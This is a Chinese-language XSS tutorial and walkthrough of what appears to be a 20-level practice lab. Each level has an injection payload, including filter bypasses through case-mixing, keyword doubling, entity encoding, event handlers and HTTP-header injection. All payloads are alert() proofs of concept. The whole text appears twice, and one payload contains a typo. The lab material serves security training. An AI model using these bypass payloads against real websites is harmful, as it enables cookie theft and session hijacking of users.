渗透测试 | Web安全中的XSS攻击详细教学(附通关教程)
字数 2420 2025-08-19 12:41:24

XSS攻击详细教学与实战通关指南

一、XSS漏洞原理

XSS(Cross Site Scripting)跨站脚本攻击,指攻击者往Web页面插入恶意脚本代码,当用户浏览时,嵌入Web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的。

XSS主要类型

  1. 存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。
  2. 反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。
  3. DOM型(非持久型):通过修改页面的DOM节点形成的XSS。

二、XSS漏洞危害

  • 盗取用户的cookie和其他敏感信息
  • 会话劫持
  • 身份冒充
  • 进一步攻击的基础

三、XSS防御措施

  1. 输入验证:对用户输入进行严格的验证和过滤
  2. 输出编码:使用适当的编码方法(如HTML实体编码)转义特殊字符
  3. 内容安全策略(CSP):限制页面可以加载的资源来源
  4. HttpOnly标志:防止通过JavaScript访问cookie

四、XSS实战通关教程

第一关(URL传参)

  • 注入点:URL中的name参数
  • Payload:?name=<script>alert()</script>

第二关(输入框注入)

  • 分析:部分内容被转义
  • Payload:"><script>alert()</script><"

第三关(事件注入)

  • 方法:使用onfocus事件
  • Payload:' onfocus=javascript:alert() '
  • 触发方式:点击input框使其获得焦点

第四关(引号类型)

  • 分析:外围是双引号
  • Payload:" onfocus=javascript:alert() "

第五关(a标签注入)

  • 分析:script和onfocus被转换
  • Payload:"><a href="javascript:alert();">xx</a><"

第六关(大小写绕过)

  • 方法:大小写混合绕过过滤
  • Payload:
    • "><SCRIPT>alert()</SCRIPT><"
    • " ONDOCUS=javascript:alert() "
    • "> <a HREF=javascript:alert()>x</a> <"

第七关(双拼写绕过)

  • 方法:双写关键字绕过
  • Payload:"><sscriptcript>alert()</sscriptcript><"

第八关(Unicode编码)

  • 方法:对JavaScript伪协议进行Unicode编码
  • 编码后的Payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关(指定字符绕过)

  • 条件:参数必须包含"http://"
  • Payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */

第十关(属性修改)

  • 方法:修改input的type属性
  • Payload:
    • level10.php?t_sort=" onfocus="javascript:alert()" type="
    • level10.php?t_sort=" onfocus="javascript:alert()" type="text

第十一关(Referer注入)

  • 注入点:HTTP Referer头
  • Payload:" onfocus="javascript:alert()" type="text" "

第十二关(User-Agent注入)

  • 注入点:User-Agent头
  • Payload:" onfocus="javascript:alert()" type="text" "

第十三关(Cookie注入)

  • 注入点:Cookie
  • Payload:" onfocus="javascript:alert()" type="text" "

第十五关(iframe包含)

  • 方法:包含其他关卡并注入
  • Payload:?src='/level1.php?name='

第十六关(回车%0a绕过)

  • 方法:使用%0a(换行符)绕过
  • Payload:?keyword=<svg%0aonload=alert()>

第十七关(embed标签)

  • 方法:使用onload事件
  • Payload:%20onload=alert()%20""

第十八关(双参空格)

  • 注入点:第二个参数
  • Payload:/level18.php?arg02= onmousedown=alert()

第十九关(Flash XSS)

  • 说明:现代浏览器已不支持Flash插件

第二十关(复杂payload)

  • Payload:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

五、常见XSS触发标签和事件

常用标签

  • <script>
  • ``
  • <a>
  • <input>
  • <svg>
  • <details>
  • <embed>

常用事件

  • onfocus
  • onmouseover
  • onmousedown
  • onload
  • onerror

六、总结

XSS攻击的核心在于将恶意脚本注入到网页中,防御的关键在于:

  1. 对所有用户输入进行严格过滤和验证
  2. 对输出到页面的内容进行适当的编码
  3. 使用安全策略限制脚本执行
  4. 保持安全意识,及时更新防护措施

通过本教程的实战演练,可以全面了解XSS攻击的各种形式和防御方法,为Web安全防护打下坚实基础。

XSS攻击详细教学与实战通关指南 一、XSS漏洞原理 XSS(Cross Site Scripting)跨站脚本攻击,指攻击者往Web页面插入恶意脚本代码,当用户浏览时,嵌入Web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的。 XSS主要类型 存储型XSS(持久型) :攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。 反射型XSS(非持久型) :攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。 DOM型(非持久型) :通过修改页面的DOM节点形成的XSS。 二、XSS漏洞危害 盗取用户的cookie和其他敏感信息 会话劫持 身份冒充 进一步攻击的基础 三、XSS防御措施 输入验证 :对用户输入进行严格的验证和过滤 输出编码 :使用适当的编码方法(如HTML实体编码)转义特殊字符 内容安全策略(CSP) :限制页面可以加载的资源来源 HttpOnly标志 :防止通过JavaScript访问cookie 四、XSS实战通关教程 第一关(URL传参) 注入点:URL中的name参数 Payload: ?name=<script>alert()</script> 第二关(输入框注入) 分析:部分内容被转义 Payload: "><script>alert()</script><" 第三关(事件注入) 方法:使用onfocus事件 Payload: ' onfocus=javascript:alert() ' 触发方式:点击input框使其获得焦点 第四关(引号类型) 分析:外围是双引号 Payload: " onfocus=javascript:alert() " 第五关(a标签注入) 分析:script和onfocus被转换 Payload: "><a href="javascript:alert();">xx</a><" 第六关(大小写绕过) 方法:大小写混合绕过过滤 Payload: "><SCRIPT>alert()</SCRIPT><" " ONDOCUS=javascript:alert() " "> <a HREF=javascript:alert()>x</a> <" 第七关(双拼写绕过) 方法:双写关键字绕过 Payload: "><sscriptcript>alert()</sscriptcript><" 第八关(Unicode编码) 方法:对JavaScript伪协议进行Unicode编码 编码后的Payload: &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41; 第九关(指定字符绕过) 条件:参数必须包含"http://" Payload: &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */ 第十关(属性修改) 方法:修改input的type属性 Payload: level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text 第十一关(Referer注入) 注入点:HTTP Referer头 Payload: " onfocus="javascript:alert()" type="text" " 第十二关(User-Agent注入) 注入点:User-Agent头 Payload: " onfocus="javascript:alert()" type="text" " 第十三关(Cookie注入) 注入点:Cookie Payload: " onfocus="javascript:alert()" type="text" " 第十五关(iframe包含) 方法:包含其他关卡并注入 Payload: ?src='/level1.php?name=' 第十六关(回车%0a绕过) 方法:使用%0a(换行符)绕过 Payload: ?keyword=<svg%0aonload=alert()> 第十七关(embed标签) 方法:使用onload事件 Payload: %20onload=alert()%20"" 第十八关(双参空格) 注入点:第二个参数 Payload: /level18.php?arg02= onmousedown=alert() 第十九关(Flash XSS) 说明:现代浏览器已不支持Flash插件 第二十关(复杂payload) Payload: ?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123 五、常见XSS触发标签和事件 常用标签 <script> `` <a> <input> <svg> <details> <embed> 常用事件 onfocus onmouseover onmousedown onload onerror 六、总结 XSS攻击的核心在于将恶意脚本注入到网页中,防御的关键在于: 对所有用户输入进行严格过滤和验证 对输出到页面的内容进行适当的编码 使用安全策略限制脚本执行 保持安全意识,及时更新防护措施 通过本教程的实战演练,可以全面了解XSS攻击的各种形式和防御方法,为Web安全防护打下坚实基础。